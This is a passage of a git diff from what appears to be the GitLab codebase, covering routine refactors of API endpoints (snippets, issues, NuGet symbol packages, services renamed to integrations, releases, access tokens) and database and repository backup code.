- ::Integrations::SlackSlashCommands,
- ::Integrations::Teamcity,
- ::Integrations::Youtrack,
- ::PrometheusService
- ]
- end
-
- def self.development_service_classes
- [
- ::Integrations::MockCi,
- ::MockMonitoringService
- ]
- end
- end
- end
-end
-
-API::Helpers::ServicesHelpers.prepend_mod_with('API::Helpers::ServicesHelpers')
diff --git a/lib/api/helpers/snippets_helpers.rb b/lib/api/helpers/snippets_helpers.rb
index 42f56680ded..2d8c761101a 100644
--- a/lib/api/helpers/snippets_helpers.rb
+++ b/lib/api/helpers/snippets_helpers.rb
@@ -72,22 +72,18 @@ module API
end
def process_create_params(args)
- with_api_params do |api_params|
- args[:snippet_actions] = args.delete(:files)&.map do |file|
- file[:action] = :create
- file.symbolize_keys
- end
-
- args.merge(api_params)
+ args[:snippet_actions] = args.delete(:files)&.map do |file|
+ file[:action] = :create
+ file.symbolize_keys
end
+
+ args
end
def process_update_params(args)
- with_api_params do |api_params|
- args[:snippet_actions] = args.delete(:files)&.map(&:symbolize_keys)
+ args[:snippet_actions] = args.delete(:files)&.map(&:symbolize_keys)
- args.merge(api_params)
- end
+ args
end
def validate_params_for_multiple_files(snippet)
diff --git a/lib/api/internal/base.rb b/lib/api/internal/base.rb
index ee0ddccc8d4..a06b052847d 100644
--- a/lib/api/internal/base.rb
+++ b/lib/api/internal/base.rb
@@ -124,11 +124,6 @@ module API
yield
end
end
-
- # Overridden in EE
- def geo_proxy
- {}
- end
end
namespace 'internal' do
@@ -320,12 +315,6 @@ module API
two_factor_otp_check
end
-
- # Workhorse calls this to determine if it is a Geo secondary site
- # that should proxy requests. FOSS can quickly return empty data.
- get '/geo_proxy', feature_category: :geo_replication do
- geo_proxy
- end
end
end
end
diff --git a/lib/api/internal/kubernetes.rb b/lib/api/internal/kubernetes.rb
index c28e2181873..7af5c2ad2ee 100644
--- a/lib/api/internal/kubernetes.rb
+++ b/lib/api/internal/kubernetes.rb
@@ -53,8 +53,6 @@ module API
def check_agent_token
unauthorized! unless agent_token
- forbidden! unless Gitlab::Kas.included_in_gitlab_com_rollout?(agent.project)
-
agent_token.track_usage
end
end
diff --git a/lib/api/issues.rb b/lib/api/issues.rb
index 355b5ed3a1f..54013d0e7b4 100644
--- a/lib/api/issues.rb
+++ b/lib/api/issues.rb
@@ -255,9 +255,11 @@ module API
issue_params = convert_parameters_from_legacy_format(issue_params)
begin
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
issue = ::Issues::CreateService.new(project: user_project,
current_user: current_user,
- params: issue_params.merge(request: request, api: true)).execute
+ params: issue_params,
+ spam_params: spam_params).execute
if issue.spam?
render_api_error!({ error: 'Spam detected' }, 400)
@@ -294,13 +296,15 @@ module API
issue = user_project.issues.find_by!(iid: params.delete(:issue_iid))
authorize! :update_issue, issue
- update_params = declared_params(include_missing: false).merge(request: request, api: true)
+ update_params = declared_params(include_missing: false)
update_params = convert_parameters_from_legacy_format(update_params)
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
issue = ::Issues::UpdateService.new(project: user_project,
current_user: current_user,
- params: update_params).execute(issue)
+ params: update_params,
+ spam_params: spam_params).execute(issue)
render_spam_error! if issue.spam?
diff --git a/lib/api/job_artifacts.rb b/lib/api/job_artifacts.rb
index 37199279205..beda4433e4f 100644
--- a/lib/api/job_artifacts.rb
+++ b/lib/api/job_artifacts.rb
@@ -4,7 +4,7 @@ module API
class JobArtifacts < ::API::Base
before { authenticate_non_get! }
- feature_category :continuous_integration
+ feature_category :build_artifacts
# EE::API::JobArtifacts would override the following helpers
helpers do
diff --git a/lib/api/lint.rb b/lib/api/lint.rb
index 3580a7b5e24..945cdf3edb2 100644
--- a/lib/api/lint.rb
+++ b/lib/api/lint.rb
@@ -11,11 +11,7 @@ module API
optional :include_merged_yaml, type: Boolean, desc: 'Whether or not to include merged CI config yaml in the response'
end
post '/lint' do
- if Feature.enabled?(:security_ci_lint_authorization)
- unauthorized! if (Gitlab::CurrentSettings.signup_disabled? || Gitlab::CurrentSettings.signup_limited?) && current_user.nil?
- else
- unauthorized! if Gitlab::CurrentSettings.signup_disabled? && current_user.nil?
- end
+ unauthorized! if (Gitlab::CurrentSettings.signup_disabled? || Gitlab::CurrentSettings.signup_limited?) && current_user.nil?
result = Gitlab::Ci::YamlProcessor.new(params[:content], user: current_user).execute
diff --git a/lib/api/nuget_project_packages.rb b/lib/api/nuget_project_packages.rb
index 5bae08d4dae..03d1492908d 100644
--- a/lib/api/nuget_project_packages.rb
+++ b/lib/api/nuget_project_packages.rb
@@ -16,6 +16,7 @@ module API
feature_category :package_registry
PACKAGE_FILENAME = 'package.nupkg'
+ SYMBOL_PACKAGE_FILENAME = 'package.snupkg'
default_format :json
@@ -33,6 +34,10 @@ module API
end
helpers do
+ params :file_params do
+ requires :package, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
+ end
+
def project_or_group
authorized_user_project
end
@@ -40,6 +45,49 @@ module API
def snowplow_gitlab_standard_context
{ project: authorized_user_project, namespace: authorized_user_project.namespace }
end
+
+ def authorize_nuget_upload
+ authorize_workhorse!(
+ subject: project_or_group,
+ has_length: false,
+ maximum_size: project_or_group.actual_limits.nuget_max_file_size
+ )
+ end
+
+ def temp_file_name(symbol_package)
+ return ::Packages::Nuget::TEMPORARY_SYMBOL_PACKAGE_NAME if symbol_package
+
+ ::Packages::Nuget::TEMPORARY_PACKAGE_NAME
+ end
+
+ def file_name(symbol_package)
+ return SYMBOL_PACKAGE_FILENAME if symbol_package
+
+ PACKAGE_FILENAME
+ end
+
+ def upload_nuget_package_file(symbol_package: false)
+ authorize_upload!(project_or_group)
+ bad_request!('File is too large') if project_or_group.actual_limits.exceeded?(:nuget_max_file_size, params[:package].size)
+
+ file_params = params.merge(
+ file: params[:package],
+ file_name: file_name(symbol_package)
+ )
+
+ package = ::Packages::CreateTemporaryPackageService.new(
+ project_or_group, current_user, declared_params.merge(build: current_authenticated_job)
+ ).execute(:nuget, name: temp_file_name(symbol_package))
+
+ package_file = ::Packages::CreatePackageFileService.new(package, file_params.merge(build: current_authenticated_job))
+ .execute
+
+ yield(package) if block_given?
+
+ ::Packages::Nuget::ExtractionWorker.perform_async(package_file.id) # rubocop:disable CodeReuse/Worker
+
+ created!
+ end
end
params do
@@ -55,40 +103,54 @@ module API
end
params do
- requires :package, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
+ use :file_params
end
put do
- authorize_upload!(project_or_group)
- bad_request!('File is too large') if project_or_group.actual_limits.exceeded?(:nuget_max_file_size, params[:package].size)
-
- file_params = params.merge(
- file: params[:package],
- file_name: PACKAGE_FILENAME
- )
-
- package = ::Packages::CreateTemporaryPackageService.new(
- project_or_group, current_user, declared_params.merge(build: current_authenticated_job)
- ).execute(:nuget, name: ::Packages::Nuget::TEMPORARY_PACKAGE_NAME)
-
- package_file = ::Packages::CreatePackageFileService.new(package, file_params.merge(build: current_authenticated_job))
- .execute
+ upload_nuget_package_file do |package|
+ track_package_event(
+ 'push_package',
+ :nuget,
+ category: 'API::NugetPackages',
+ user: current_user,
+ project: package.project,
+ namespace: package.project.namespace
+ )
+ end
+ rescue ObjectStorage::RemoteStoreError => e
+ Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: project_or_group.id })
- track_package_event('push_package', :nuget, category: 'API::NugetPackages', user: current_user, project: package.project, namespace: package.project.namespace)
+ forbidden!
+ end
+ put 'authorize' do
+ authorize_nuget_upload
+ end
- ::Packages::Nuget::ExtractionWorker.perform_async(package_file.id) # rubocop:disable CodeReuse/Worker
+ # https://docs.microsoft.com/en-us/nuget/api/symbol-package-publish-resource
+ desc 'The NuGet Symbol Package Publish endpoint' do
+ detail 'This feature was introduced in GitLab 14.1'
+ end
- created!
+ params do
+ use :file_params
+ end
+ put 'symbolpackage' do
+ upload_nuget_package_file(symbol_package: true) do |package|
+ track_package_event(
+ 'push_symbol_package',
+ :nuget,
+ category: 'API::NugetPackages',
+ user: current_user,
+ project: package.project,
+ namespace: package.project.namespace
+ )
+ end
rescue ObjectStorage::RemoteStoreError => e
Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: project_or_group.id })
forbidden!
end
- put 'authorize' do
- authorize_workhorse!(
- subject: project_or_group,
- has_length: false,
- maximum_size: project_or_group.actual_limits.nuget_max_file_size
- )
+ put 'symbolpackage/authorize' do
+ authorize_nuget_upload
end
# https://docs.microsoft.com/en-us/nuget/api/package-base-address-resource
@@ -115,14 +177,20 @@ module API
requires :package_version, type: String, desc: 'The NuGet package version', regexp: API::NO_SLASH_URL_PART_REGEX
requires :package_filename, type: String, desc: 'The NuGet package filename', regexp: API::NO_SLASH_URL_PART_REGEX
end
- get '*package_version/*package_filename', format: :nupkg do
+ get '*package_version/*package_filename', format: [:nupkg, :snupkg] do
filename = "#{params[:package_filename]}.#{params[:format]}"
package_file = ::Packages::PackageFileFinder.new(find_package(params[:package_name], params[:package_version]), filename, with_file_name_like: true)
.execute
not_found!('Package') unless package_file
- track_package_event('pull_package', :nuget, category: 'API::NugetPackages', project: package_file.project, namespace: package_file.project.namespace)
+ track_package_event(
+ params[:format] == 'snupkg' ? 'pull_symbol_package' : 'pull_package',
+ :nuget,
+ category: 'API::NugetPackages',
+ project: package_file.project,
+ namespace: package_file.project.namespace
+ )
# nuget and dotnet don't support 302 Moved status codes, supports_direct_download has to be set to false
present_carrierwave_file!(package_file.file, supports_direct_download: false)
diff --git a/lib/api/project_packages.rb b/lib/api/project_packages.rb
index 35a68ec4e18..54c0a0628a7 100644
--- a/lib/api/project_packages.rb
+++ b/lib/api/project_packages.rb
@@ -71,9 +71,7 @@ module API
.new(user_project, params[:package_id]).execute
destroy_conditionally!(package) do |package|
- if package.destroy
- package.sync_maven_metadata(current_user)
- end
+ ::Packages::DestroyPackageService.new(container: package, current_user: current_user).execute
end
end
end
diff --git a/lib/api/project_snippets.rb b/lib/api/project_snippets.rb
index 084492fd503..fdbfdf1f7a9 100644
--- a/lib/api/project_snippets.rb
+++ b/lib/api/project_snippets.rb
@@ -75,7 +75,8 @@ module API
snippet_params = process_create_params(declared_params(include_missing: false))
- service_response = ::Snippets::CreateService.new(project: user_project, current_user: current_user, params: snippet_params).execute
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
+ service_response = ::Snippets::CreateService.new(project: user_project, current_user: current_user, params: snippet_params, spam_params: spam_params).execute
snippet = service_response.payload[:snippet]
if service_response.success?
@@ -116,7 +117,8 @@ module API
snippet_params = process_update_params(declared_params(include_missing: false))
- service_response = ::Snippets::UpdateService.new(project: user_project, current_user: current_user, params: snippet_params).execute(snippet)
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
+ service_response = ::Snippets::UpdateService.new(project: user_project, current_user: current_user, params: snippet_params, spam_params: spam_params).execute(snippet)
snippet = service_response.payload[:snippet]
if service_response.success?
diff --git a/lib/api/projects.rb b/lib/api/projects.rb
index 83c335a3248..3b1d239398f 100644
--- a/lib/api/projects.rb
+++ b/lib/api/projects.rb
@@ -157,6 +157,8 @@ module API
[options[:with].prepare_relation(projects, options), options]
end
+ Preloaders::UserMaxAccessLevelInProjectsPreloader.new(records, current_user).execute if current_user
+
present records, options
end
@@ -608,6 +610,10 @@ module API
users = users.search(params[:search]) if params[:search].present?
users = users.where_not_in(params[:skip_users]) if params[:skip_users].present?
+ if Feature.enabled?(:sort_by_project_users_by_project_authorizations_user_id, user_project, default_enabled: :yaml)
+ users = users.order('project_authorizations.user_id' => :asc) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
present paginate(users), with: Entities::UserBasic
end
diff --git a/lib/api/releases.rb b/lib/api/releases.rb
index 7cd8b442706..3b7e2b4bd27 100644
--- a/lib/api/releases.rb
+++ b/lib/api/releases.rb
@@ -62,6 +62,8 @@ module API
get ':id/releases/:tag_name', requirements: RELEASE_ENDPOINT_REQUIREMENTS do
authorize_download_code!
+ not_found! unless release
+
present release, with: Entities::Release, current_user: current_user, include_html_description: params[:include_html_description]
end
@@ -177,7 +179,7 @@ module API
end
def authorize_download_code!
- authorize! :download_code, release
+ authorize! :download_code, user_project
end
def authorize_create_evidence!
diff --git a/lib/api/repositories.rb b/lib/api/repositories.rb
index a5234828de3..f274406e225 100644
--- a/lib/api/repositories.rb
+++ b/lib/api/repositories.rb
@@ -120,24 +120,28 @@ module API
optional :straight, type: Boolean, desc: 'Comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)', default: false
end
get ':id/repository/compare' do
- if params[:from_project_id].present?
- target_project = MergeRequestTargetProjectFinder
- .new(current_user: current_user, source_project: user_project, project_feature: :repository)
- .execute(include_routes: true).find_by_id(params[:from_project_id])
-
- if target_project.blank?
- render_api_error!("Target project id:#{params[:from_project_id]} is not a fork of project id:#{params[:id]}", 400)
+ ff_enabled = Feature.enabled?(:api_caching_rate_limit_repository_compare, user_project, default_enabled: :yaml)
+
+ cache_action_if(ff_enabled, [user_project, :repository_compare, current_user, declared_params], expires_in: 1.minute) do
+ if params[:from_project_id].present?
+ target_project = MergeRequestTargetProjectFinder
+ .new(current_user: current_user, source_project: user_project, project_feature: :repository)
+ .execute(include_routes: true).find_by_id(params[:from_project_id])
+
+ if target_project.blank?
+ render_api_error!("Target project id:#{params[:from_project_id]} is not a fork of project id:#{params[:id]}", 400)
+ end
+ else
+ target_project = user_project
end
- else
- target_project = user_project
- end
- compare = CompareService.new(user_project, params[:to]).execute(target_project, params[:from], straight: params[:straight])
+ compare = CompareService.new(user_project, params[:to]).execute(target_project, params[:from], straight: params[:straight])
- if compare
- present compare, with: Entities::Compare
- else
- not_found!("Ref")
+ if compare
+ present compare, with: Entities::Compare
+ else
+ not_found!("Ref")
+ end
end
end
diff --git a/lib/api/resource_access_tokens.rb b/lib/api/resource_access_tokens.rb
index 705e4778c83..f42acc6b2eb 100644
--- a/lib/api/resource_access_tokens.rb
+++ b/lib/api/resource_access_tokens.rb
@@ -21,9 +21,10 @@ module API
next unauthorized! unless current_user.can?(:read_resource_access_tokens, resource)
- tokens = PersonalAccessTokensFinder.new({ user: resource.bots, impersonation: false }).execute
+ tokens = PersonalAccessTokensFinder.new({ user: resource.bots, impersonation: false }).execute.preload_users
- present paginate(tokens), with: Entities::PersonalAccessToken
+ resource.project_members.load
+ present paginate(tokens), with: Entities::ResourceAccessToken, project: resource
end
desc 'Revoke a resource access token' do
@@ -57,6 +58,7 @@ module API
requires :id, type: String, desc: "The #{source_type} ID"
requires :name, type: String, desc: "Resource access token name"
requires :scopes, type: Array[String], desc: "The permissions of the token"
+ optional :access_level, type: Integer, desc: "The access level of the token in the project"
optional :expires_at, type: Date, desc: "The expiration date of the token"
end
post ':id/access_tokens' do
@@ -69,7 +71,7 @@ module API
).execute
if token_response.success?
- present token_response.payload[:access_token], with: Entities::PersonalAccessTokenWithToken
+ present token_response.payload[:access_token], with: Entities::ResourceAccessTokenWithToken, project: resource
else
bad_request!(token_response.message)
end
diff --git a/lib/api/services.rb b/lib/api/services.rb
index 8a7abe721dd..a37b6f4626a 100644
--- a/lib/api/services.rb
+++ b/lib/api/services.rb
@@ -3,11 +3,11 @@ module API
class Services < ::API::Base
feature_category :integrations
- services = Helpers::ServicesHelpers.services
- service_classes = Helpers::ServicesHelpers.service_classes
+ integrations = Helpers::IntegrationsHelpers.integrations
+ integration_classes = Helpers::IntegrationsHelpers.integration_classes
if Rails.env.development?
- services['mock-ci'] = [
+ integrations['mock-ci'] = [
{
required: true,
name: :mock_service_url,
@@ -15,28 +15,27 @@ module API
desc: 'URL to the mock service'
}
]
- services['mock-deployment'] = []
- services['mock-monitoring'] = []
+ integrations['mock-deployment'] = []
+ integrations['mock-monitoring'] = []
- service_classes += Helpers::ServicesHelpers.development_service_classes
+ integration_classes += Helpers::IntegrationsHelpers.development_integration_classes
end
- SERVICES = services.freeze
- SERVICE_CLASSES = service_classes.freeze
+ INTEGRATIONS = integrations.freeze
- SERVICE_CLASSES.each do |service|
- event_names = service.try(:event_names) || next
+ integration_classes.each do |integration|
+ event_names = integration.try(:event_names) || next
event_names.each do |event_name|
- SERVICES[service.to_param.tr("_", "-")] << {
+ INTEGRATIONS[integration.to_param.tr("_", "-")] << {
required: false,
name: event_name.to_sym,
type: String,
- desc: service.event_description(event_name)
+ desc: IntegrationsHelper.integration_event_description(integration, event_name)
}
end
end
- TRIGGER_SERVICES = {
+ TRIGGER_INTEGRATIONS = {
'mattermost-slash-commands' => [
{
name: :token,
@@ -61,24 +60,24 @@ module API
before { authorize_admin_project }
helpers do
- def service_attributes(service)
- service.fields.inject([]) do |arr, hash|
+ def integration_attributes(integration)
+ integration.fields.inject([]) do |arr, hash|
arr << hash[:name].to_sym
end
end
end
- desc 'Get all active project services' do
- success Entities::ProjectServiceBasic
+ desc 'Get all active project integrations' do
+ success Entities::ProjectIntegrationBasic
end
get ":id/services" do
- services = user_project.integrations.active
+ integrations = user_project.integrations.active
- present services, with: Entities::ProjectServiceBasic
+ present integrations, with: Entities::ProjectIntegrationBasic
end
- SERVICES.each do |service_slug, settings|
- desc "Set #{service_slug} service for project"
+ INTEGRATIONS.each do |slug, settings|
+ desc "Set #{slug} integration for project"
params do
settings.each do |setting|
if setting[:required]
@@ -88,56 +87,52 @@ module API
end
end
end
- put ":id/services/#{service_slug}" do
- service = user_project.find_or_initialize_service(service_slug.underscore)
- service_params = declared_params(include_missing: false).merge(active: true)
+ put ":id/services/#{slug}" do
+ integration = user_project.find_or_initialize_integration(slug.underscore)
+ params = declared_params(include_missing: false).merge(active: true)
- if service.update(service_params)
- present service, with: Entities::ProjectService
+ if integration.update(params)
+ present integration, with: Entities::ProjectIntegration
else
render_api_error!('400 Bad Request', 400)
end
end
end
- desc "Delete a service for project"
+ desc "Delete an integration from a project"
params do
- requires :service_slug, type: String, values: SERVICES.keys, desc: 'The name of the service'
+ requires :slug, type: String, values: INTEGRATIONS.keys, desc: 'The name of the service'
end
- delete ":id/services/:service_slug" do
- service = user_project.find_or_initialize_service(params[:service_slug].underscore)
+ delete ":id/services/:slug" do
+ integration = user_project.find_or_initialize_integration(params[:slug].underscore)
- destroy_conditionally!(service) do
- attrs = service_attributes(service).inject({}) do |hash, key|
- hash.merge!(key => nil)
- end
+ destroy_conditionally!(integration) do
+ attrs = integration_attributes(integration).index_with { nil }.merge(active: false)
- unless service.update(attrs.merge(active: false))
- render_api_error!('400 Bad Request', 400)
- end
+ render_api_error!('400 Bad Request', 400) unless integration.update(attrs)
end
end
- desc 'Get the service settings for project' do
- success Entities::ProjectService
+ desc 'Get the integration settings for a project' do
+ success Entities::ProjectIntegration
end
params do
- requires :service_slug, type: String, values: SERVICES.keys, desc: 'The name of the service'
+ requires :slug, type: String, values: INTEGRATIONS.keys, desc: 'The name of the service'
end
- get ":id/services/:service_slug" do
- integration = user_project.find_or_initialize_service(params[:service_slug].underscore)
+ get ":id/services/:slug" do
+ integration = user_project.find_or_initialize_integration(params[:slug].underscore)
not_found!('Service') unless integration&.persisted?
- present integration, with: Entities::ProjectService
+ present integration, with: Entities::ProjectIntegration
end
end
- TRIGGER_SERVICES.each do |service_slug, settings|
+ TRIGGER_INTEGRATIONS.each do |integration_slug, settings|
helpers do
- def slash_command_service(project, service_slug, params)
- project.integrations.active.find do |service|
- service.try(:token) == params[:token] && service.to_param == service_slug.underscore
+ def slash_command_integration(project, integration_slug, params)
+ project.integrations.active.find do |integration|
+ integration.try(:token) == params[:token] && integration.to_param == integration_slug.underscore
end
end
end
@@ -146,7 +141,7 @@ module API
requires :id, type: String, desc: 'The ID of a project'
end
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
- desc "Trigger a slash command for #{service_slug}" do
+ desc "Trigger a slash command for #{integration_slug}" do
detail 'Added in GitLab 8.13'
end
params do
@@ -154,14 +149,14 @@ module API
requires setting[:name], type: setting[:type], desc: setting[:desc]
end
end
- post ":id/services/#{service_slug.underscore}/trigger" do
+ post ":id/services/#{integration_slug.underscore}/trigger" do
project = find_project(params[:id])
# This is not accurate, but done to prevent leakage of the project names
not_found!('Service') unless project
- service = slash_command_service(project, service_slug, params)
- result = service.try(:trigger, params)
+ integration = slash_command_integration(project, integration_slug, params)
+ result = integration.try(:trigger, params)
if result
status result[:status] || 200
diff --git a/lib/api/settings.rb b/lib/api/settings.rb
index b4f8320cb74..952bf09b1b1 100644
--- a/lib/api/settings.rb
+++ b/lib/api/settings.rb
@@ -160,6 +160,10 @@ module API
optional :usage_ping_enabled, type: Boolean, desc: 'Every week GitLab will report license usage back to GitLab, Inc.'
optional :local_markdown_version, type: Integer, desc: 'Local markdown version, increase this value when any cached markdown should be invalidated'
optional :allow_local_requests_from_hooks_and_services, type: Boolean, desc: 'Deprecated: Use :allow_local_requests_from_web_hooks_and_services instead. Allow requests to the local network from hooks and services.' # support legacy names, can be removed in v5
+ optional :mailgun_events_enabled, type: Grape::API::Boolean, desc: 'Enable Mailgun event receiver'
+ given mailgun_events_enabled: ->(val) { val } do
+ requires :mailgun_signing_key, type: String, desc: 'The Mailgun HTTP webhook signing key for receiving events from webhook'
+ end
optional :snowplow_enabled, type: Grape::API::Boolean, desc: 'Enable Snowplow tracking'
given snowplow_enabled: ->(val) { val } do
requires :snowplow_collector_hostname, type: String, desc: 'The Snowplow collector hostname'
diff --git a/lib/api/snippets.rb b/lib/api/snippets.rb
index b506192fe1c..f1ec1024492 100644
--- a/lib/api/snippets.rb
+++ b/lib/api/snippets.rb
@@ -84,7 +84,8 @@ module API
attrs = process_create_params(declared_params(include_missing: false))
- service_response = ::Snippets::CreateService.new(project: nil, current_user: current_user, params: attrs).execute
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
+ service_response = ::Snippets::CreateService.new(project: nil, current_user: current_user, params: attrs, spam_params: spam_params).execute
snippet = service_response.payload[:snippet]
if service_response.success?
@@ -126,7 +127,8 @@ module API
attrs = process_update_params(declared_params(include_missing: false))
- service_response = ::Snippets::UpdateService.new(project: nil, current_user: current_user, params: attrs).execute(snippet)
+ spam_params = ::Spam::SpamParams.new_from_request(request: request)
+ service_response = ::Snippets::UpdateService.new(project: nil, current_user: current_user, params: attrs, spam_params: spam_params).execute(snippet)
snippet = service_response.payload[:snippet]
diff --git a/lib/api/system_hooks.rb b/lib/api/system_hooks.rb
index fe23a111b7f..e4133713c1f 100644
--- a/lib/api/system_hooks.rb
+++ b/lib/api/system_hooks.rb
@@ -31,6 +31,7 @@ module API
optional :push_events, type: Boolean, desc: "Trigger hook on push events"
optional :tag_push_events, type: Boolean, desc: "Trigger hook on tag push events"
optional :merge_requests_events, type: Boolean, desc: "Trigger hook on tag push events"
+ optional :repository_update_events, type: Boolean, desc: "Trigger hook on repository update events"
optional :enable_ssl_verification, type: Boolean, desc: "Do SSL verification when triggering the hook"
end
post do
diff --git a/lib/api/usage_data.rb b/lib/api/usage_data.rb
index 7deec15dcac..43c75206b88 100644
--- a/lib/api/usage_data.rb
+++ b/lib/api/usage_data.rb
@@ -4,7 +4,7 @@ module API
class UsageData < ::API::Base
before { authenticate_non_get! }
- feature_category :usage_ping
+ feature_category :service_ping
namespace 'usage_data' do
before do
diff --git a/lib/api/usage_data_non_sql_metrics.rb b/lib/api/usage_data_non_sql_metrics.rb
index 63a14a223f5..d9e0d153e58 100644
--- a/lib/api/usage_data_non_sql_metrics.rb
+++ b/lib/api/usage_data_non_sql_metrics.rb
@@ -4,7 +4,7 @@ module API
class UsageDataNonSqlMetrics < ::API::Base
before { authenticated_as_admin! }
- feature_category :usage_ping
+ feature_category :service_ping
namespace 'usage_data' do
before do
diff --git a/lib/api/usage_data_queries.rb b/lib/api/usage_data_queries.rb
index 0ad9ad7650c..22e83fe0294 100644
--- a/lib/api/usage_data_queries.rb
+++ b/lib/api/usage_data_queries.rb
@@ -4,7 +4,7 @@ module API
class UsageDataQueries < ::API::Base
before { authenticated_as_admin! }
- feature_category :usage_ping
+ feature_category :service_ping
namespace 'usage_data' do
before do
diff --git a/lib/api/variables.rb b/lib/api/variables.rb
index 8b0745c6b5b..75df0e050a6 100644
--- a/lib/api/variables.rb
+++ b/lib/api/variables.rb
@@ -7,7 +7,7 @@ module API
before { authenticate! }
before { authorize! :admin_build, user_project }
- feature_category :continuous_integration
+ feature_category :pipeline_authoring
helpers Helpers::VariablesHelpers
diff --git a/lib/backup/database.rb b/lib/backup/database.rb
index 0429d9496d6..f07fd786b4b 100644
--- a/lib/backup/database.rb
+++ b/lib/backup/database.rb
@@ -9,6 +9,8 @@ module Backup
attr_reader :config, :db_file_name
IGNORED_ERRORS = [
+ # Ignore warnings
+ /WARNING:/,
# Ignore the DROP errors; recent database dumps will use --if-exists with pg_dump
/does not exist$/,
# User may not have permissions to drop extensions or schemas
@@ -18,7 +20,7 @@ module Backup
def initialize(progress, filename: nil)
@progress = progress
- @config = YAML.load_file(File.join(Rails.root, 'config', 'database.yml'))[Rails.env]
+ @config = ActiveRecord::Base.configurations.find_db_config(Rails.env).configuration_hash
@db_file_name = filename || File.join(Gitlab.config.backup.path, 'db', 'database.sql.gz')
end
@@ -30,9 +32,9 @@ module Backup
compress_rd.close
dump_pid =
- case config["adapter"]
+ case config[:adapter]
when "postgresql" then
- progress.print "Dumping PostgreSQL database #{config['database']} ... "
+ progress.print "Dumping PostgreSQL database #{database} ... "
pg_env
pgsql_args = ["--clean"] # Pass '--clean' to include 'DROP TABLE' statements in the DB dump.
pgsql_args << '--if-exists'
@@ -47,7 +49,7 @@ module Backup
end
end
- Process.spawn('pg_dump', *pgsql_args, config['database'], out: compress_wr)
+ Process.spawn('pg_dump', *pgsql_args, database, out: compress_wr)
end
compress_wr.close
@@ -68,9 +70,9 @@ module Backup
decompress_wr.close
status, errors =
- case config["adapter"]
+ case config[:adapter]
when "postgresql" then
- progress.print "Restoring PostgreSQL database #{config['database']} ... "
+ progress.print "Restoring PostgreSQL database #{database} ... "
pg_env
execute_and_track_errors(pg_restore_cmd, decompress_rd)
end
@@ -93,6 +95,10 @@ module Backup
protected
+ def database
+ @config[:database]
+ end
+
def ignore_error?(line)
IGNORED_ERRORS_REGEXP.match?(line)
end
@@ -128,17 +134,17 @@ module Backup
def pg_env
args = {
- 'username' => 'PGUSER',
- 'host' => 'PGHOST',
- 'port' => 'PGPORT',
- 'password' => 'PGPASSWORD',
+ username: 'PGUSER',
+ host: 'PGHOST',
+ port: 'PGPORT',
+ password: 'PGPASSWORD',
# SSL
- 'sslmode' => 'PGSSLMODE',
- 'sslkey' => 'PGSSLKEY',
- 'sslcert' => 'PGSSLCERT',
- 'sslrootcert' => 'PGSSLROOTCERT',
- 'sslcrl' => 'PGSSLCRL',
- 'sslcompression' => 'PGSSLCOMPRESSION'
+ sslmode: 'PGSSLMODE',
+ sslkey: 'PGSSLKEY',
+ sslcert: 'PGSSLCERT',
+ sslrootcert: 'PGSSLROOTCERT',
+ sslcrl: 'PGSSLCRL',
+ sslcompression: 'PGSSLCOMPRESSION'
}
args.each do |opt, arg|
# This enables the use of different PostgreSQL settings in
@@ -161,7 +167,7 @@ module Backup
private
def pg_restore_cmd
- ['psql', config['database']]
+ ['psql', database]
end
end
end
diff --git a/lib/backup/gitaly_backup.rb b/lib/backup/gitaly_backup.rb
index cfd3d463f9e..c15b0ed6a1b 100644
--- a/lib/backup/gitaly_backup.rb
+++ b/lib/backup/gitaly_backup.rb
@@ -3,8 +3,10 @@
module Backup
# Backup and restores repositories using gitaly-backup
class GitalyBackup
- def initialize(progress)
+ def initialize(progress, parallel: nil, parallel_storage: nil)
@progress = progress
+ @parallel = parallel
+ @parallel_storage = parallel_storage
end
def start(type)
@@ -19,8 +21,12 @@ module Backup
raise Error, "unknown backup type: #{type}"
end
+ args = []
+ args += ['-parallel', @parallel.to_s] if type == :create && @parallel
+ args += ['-parallel-storage', @parallel_storage.to_s] if type == :create && @parallel_storage
+
@read_io, @write_io = IO.pipe
- @pid = Process.spawn(bin_path, command, '-path', backup_repos_path, in: @read_io, out: progress)
+ @pid = Process.spawn(bin_path, command, '-path', backup_repos_path, *args, in: @read_io, out: @progress)
end
def wait
@@ -48,9 +54,11 @@ module Backup
}.merge(Gitlab::GitalyClient.connection_data(repository.storage)).to_json)
end
- private
+ def parallel_enqueue?
+ false
+ end
- attr_reader :progress
+ private
def started?
@pid.present?
@@ -61,7 +69,7 @@ module Backup
end
def bin_path
- File.absolute_path(File.join(Gitlab.config.gitaly.client_path, 'gitaly-backup'))
+ File.absolute_path(Gitlab.config.backup.gitaly_backup_path)
end
end
end
diff --git a/lib/backup/gitaly_rpc_backup.rb b/lib/backup/gitaly_rpc_backup.rb
index 53f1de40509..baac4eb26ca 100644
--- a/lib/backup/gitaly_rpc_backup.rb
+++ b/lib/backup/gitaly_rpc_backup.rb
@@ -44,6 +44,10 @@ module Backup
end
end
+ def parallel_enqueue?
+ true
+ end
+
private
attr_reader :progress
diff --git a/lib/backup/repositories.rb b/lib/backup/repositories.rb
index 80d23c1eb7f..0b5a62529b4 100644
--- a/lib/backup/repositories.rb
+++ b/lib/backup/repositories.rb
@@ -12,7 +12,10 @@ module Backup
def dump(max_concurrency:, max_storage_concurrency:)
strategy.start(:create)
- if max_concurrency <= 1 && max_storage_concurrency <= 1
+ # gitaly-backup is designed to handle concurrency on its own. So we want
+ # to avoid entering the buggy concurrency code here when gitaly-backup
+ # is enabled.
+ if (max_concurrency <= 1 && max_storage_concurrency <= 1) || !strategy.parallel_enqueue?
return enqueue_consecutive
end
diff --git a/lib/banzai/filter/references/label_reference_filter.rb b/lib/banzai/filter/references/label_reference_filter.rb
index 12afece6e53..3ae9c5f8d90 100644
--- a/lib/banzai/filter/references/label_reference_filter.rb
